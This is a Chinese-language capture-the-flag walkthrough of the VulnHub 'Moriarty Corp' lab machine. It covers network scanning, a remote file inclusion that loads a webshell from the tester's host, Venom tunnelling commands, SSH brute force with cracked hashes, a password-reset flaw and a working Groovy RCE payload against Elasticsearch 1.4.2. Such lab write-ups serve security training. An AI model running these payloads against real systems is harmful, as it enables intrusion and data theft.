Moriarty Corp靶场实战

admin 2021年9月4日07:10:31评论255 views字数 7046阅读23分29秒阅读模式
首先下载下来是一个.ova文件
Moriarty Corp靶场实战
image.png
导入虚拟电脑
Moriarty Corp靶场实战
image.png
Moriarty Corp靶场实战
image.png
 namp -sn -PR -T 4 192.168.10.0/24

    -sn:只进行主机发现,不进行端口扫描。
    -PR:ARP Ping。
    -T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。
web入口 192.168.10.101 首先我们根据提示
Moriarty Corp靶场实战
image.png
I believe that Moriarty Corp. is doing some shady things.

I need your help taking them down before something major happens.

I have some information about their computer network. Accessing port 80 will get you their public facing site.

Once you hack their public facing site, you can leverage that box to hack internal network.

As you provide flags to me, I will give you information about the targets on their internal network.

Start by compromsing their public site on port 80.
我们要搞80 可以看到80端口的url
http://192.168.10.101/?file=page2.html

这里可能存在包含
Moriarty Corp靶场实战
image.png
我们来试试远程包含 写个马儿在本地,再包含

Moriarty Corp靶场实战

 http://192.168.10.101/?file=http://192.168.10.102/1/shell.txt 

ok找到这第二个flag

Moriarty Corp靶场实战

我们去8000提交这个flag 可以看到又得到一个提示
Good job! Thanks for providing the flag.

It appears that Moriarty Corp. doesn't keep anything suspicious on their public server. 

We need to start collecting information from internal network now.

One of our agents who has infiltrated Moriarty Corp. mentioned that there is an internal picture database site. See if you can find this hack it.

The agent also provided information Moriarty Corps. internal network. The IP range used by internal machines is 172.17.0.3-254.

叫我们搞内网 这里我们用 Venom代理 在windows端启动admin程序监听 上传之后
chmod 777 agent_linux_x64 
admin.exe -lport 9999
在agent端修改程序权限为777,并执行命令
./agent_linux_x64 -rhost 192.168.10.102 -rport 9999
Moriarty Corp靶场实战
image.png
这里可以看到内网ip为172.17.0.3 成功访问说明代理成功 来看下存活
hbs.exe 172.17.0.0-172.17.0.255 -m
Moriarty Corp靶场实战
image.png
找到个172.17.0.4开了80 访问看看
Moriarty Corp靶场实战
image.png
http://172.17.0.4/index.php
可以看到是个php的站
Moriarty Corp靶场实战
image.png
Moriarty Corp靶场实战
image.png

最开始以为是个上传或者万能密码发现都不可以这里fuzz密码一下发现密码为password
Moriarty Corp靶场实战
image.png
登录进来我们就可以直接上传了
http://172.17.0.4/photo/20/shell.php
Moriarty Corp靶场实战
image.png
继续去8000提交又得到一些提示
Thanks for the pictures. They look like weapons that we've seen criminals use.

We still don'
t know enough about how Moriarty Corp. communicates with criminals.

Our agent who infiltrated Moriarty Corp. has extracted usernames and password hashes from an old server used by Moriarty Corp. for auth.

Use the usernames and password hashes to attack the SSH server within the network and find some communication.

Usernames:
root
toor
admin
mcorp
moriarty

Password hashes (crack before brute forcing):
63a9f0ea7bb98050796b649e85481845
7b24afc8bc80e548d66c4e7ff72171c5
5f4dcc3b5aa765d61d8327deb882cf99
21232f297a57a5a743894a0e4a801fc3
084e0343a0486ff05530df6c705c8bb4
697c6cc76fdbde5baccb7b3400391e30
8839cfc8a0f24eb155ae3f7f205f5cbc
35ac704fe1cc7807c914af478f20fd35
b27a803ed346fbbf6d2e2eb88df1c51b
08552d48aa6d6d9c05dd67f1b4ba8747

谢谢你的照片。它们看起来像我们看到罪犯使用的武器。

对于Moriarty Corp.与罪犯的沟通方式,我们仍然知之甚少。

渗透到Moriarty Corp.的代理已从Moriarty Corp.用于身份验证的旧服务器中提取了用户名和密码哈希。

使用用户名和密码哈希值攻击网络中的SSH服务器并查找一些通信。

用户名:
root
toor
admin
mcorp
moriarty

密码散列(强行破解先破解):
63a9f0ea7bb98050796b649e85481845(root)
7b24afc8bc80e548d66c4e7ff72171c5(toor)
5f4dcc3b5aa765d61d8327deb882cf99(password)
21232f297a57a5a743894a0e4a801fc3(admin)
084e0343a0486ff05530df6c705c8bb4(guest)
697c6cc76fdbde5baccb7b3400391e30(MORIARTY)
8839cfc8a0f24eb155ae3f7f205f5cbc(MCORP)
35ac704fe1cc7807c914af478f20fd35(mcorp)
b27a803ed346fbbf6d2e2eb88df1c51b(weapons)
08552d48aa6d6d9c05dd67f1b4ba8747(moriarty)
这里我们已经知道这个套路,当我们拿到8000就给我们开启了80端口然后又给我们开启下一个。所以这里我们再扫一次存活

Moriarty Corp靶场实战

可以看到又开了个0.5,这里密码已经有了我们xshell连接一下 登录发现密码是错的=。= 这里可能打乱了的我们一样fuzz 把这几个密码设置为字典直接fuzz root

Moriarty Corp靶场实战

root:weapons

Moriarty Corp靶场实战

继续提交
Thanks for communication info. 

The communication mentioned a chat server.

This chat server website has to be on the internal network. Our agent did network scans but it wasnt found on port 80. It might be on port 443,8000,8080,8888.

Try to scan other ports and find the chat server.

Here are the credentials our agent has obtained from another source:
username: buyer13
password: arms13

They should get you into the chat server. If you can some how get chat logs for admin account, that would be additional evidence.

感谢您的交流信息。 

通讯提到聊天服务器。

该聊天服务器网站必须位于内部网络上。我们的代理进行了网络扫描,但未在端口80上找到。它可能在端口443,8000,8080,8888上。

尝试扫描其他端口并找到聊天服务器。

以下是我们的代理从其他来源获得的凭据:
用户名:buyer13
密码:arms13

他们应该使您进入聊天服务器。如果您能找到如何获取管理员帐户聊天记录的方法,那将是另外的证据。
因为我是隔天做的 我重新来的时候ip发生了一些变化但是这些都没边所以不影响

Moriarty Corp靶场实战

可以看到0.7应该就是这个我们看看来

Moriarty Corp靶场实战

由前面给出的来登录看看 buyer13:arms13

Moriarty Corp靶场实战
image.png
看看chats
Your chat messages are listed below
admin: What did you need?
buyer13: Just looking. Do you have a list of supplies and some pictures?
admin: You sound suspicious. We cannot supply that information without verification.
buyer13: What do you need for verification?
admin: Send us some money and we'll send you a meeting location.
可以看到是buyer13和admin的对话,可以知道还存在一个admin用户 现在来看看change password

Moriarty Corp靶场实战Moriarty Corp靶场实战

可以看到有个任意用户密码修改 登录看看

Moriarty Corp靶场实战
image.png
ok成功登录admin用户 继续看chats
Your chat messages are listed below
admin: What did you need and what's your budget?
buyer1: I need to arm around 10 people. Budget is 10,000 USD.
admin: Sounds good. Let me see what I can do.
buyer1: I might buy more, is there a discount?
admin: Yes, we can offer a discount. flag{on_the_move}
admin: Buy within a month and we can take 10% off the original price.
buyer1: Sounds like a deal. Let'
s meet up and discuss the details.
admin: I will send you a message about my shop.
得到新的flag 提交继续看
Those chat logs provided a lot of evidence.

The shop mentioned in the chat likely uses a backend database, try to compromise that server. We're pretty sure that Moriarty Corp. is using Elasticsearch.

Once compromised, look for information related to buyers. This is the final piece of evidence that we need to take down Moriarty Corp.

这些聊天记录提供了很多证据。

聊天中提到的商店可能使用了后端数据库,请尝试破坏该服务器。我们非常确定Moriarty Corp.正在使用Elasticsearch。

一旦遭到入侵,请寻找与买家有关的信息。这是我们需要撤下Moriarty Corp.的最后证据。
可以看到正在使用Elasticsearch,一般配置外网访问,开放9200端口
nmap -sV -t -Pn -p22 172.17.0.0/24
Moriarty Corp靶场实战
image.png
http://172.17.0.9:9200/
{
  "status" : 200,
  "name" : "Rogue",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "1.4.2",
    "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
    "build_timestamp" : "2014-12-16T14:11:12Z",
    "build_snapshot" : false,
    "lucene_version" : "4.10.2"
  },
  "tagline" : "You Know, for Search"
}
百度了一下这个漏洞好像必须要先存在一条数据才能执行成功,这里我们先上传一条数据 poc
POST  /website/blog/ 

{
  "name""phithon"
}
Moriarty Corp靶场实战
image.png
poc:
POST  /_search?pretty
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /6_flag.txt").getInputStream())).readLines()","lang""groovy"}}}

Moriarty Corp靶场实战
image.png
提交最后一个flag,成功把我们拉黑了
Thanks for all your help with gathering evidence on Moriarty Corps criminal activities. 

Oh by the way,

We got a burn notice on you. You're blacklisted.


感谢您在收集有关Moriarty Corps犯罪活动的证据方面的所有帮助。

哦,顺便说一句,

我们收到了您的烧伤通知。您已列入黑名单。
详细靶场说明请参考:
https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶场下载地址:
Download (Mirror):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova
Download (Torrent):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent

原创投稿作者:buffer

未经授权,禁止转载 

推荐阅读Moriarty Corp靶场实战
觉得不错点个“赞”、“在看”,支持下小编Moriarty Corp靶场实战

本文始发于微信公众号(乌雲安全):Moriarty Corp靶场实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月4日07:10:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Moriarty Corp靶场实战https://cn-sec.com/archives/486722.html

发表评论

匿名网友 填写信息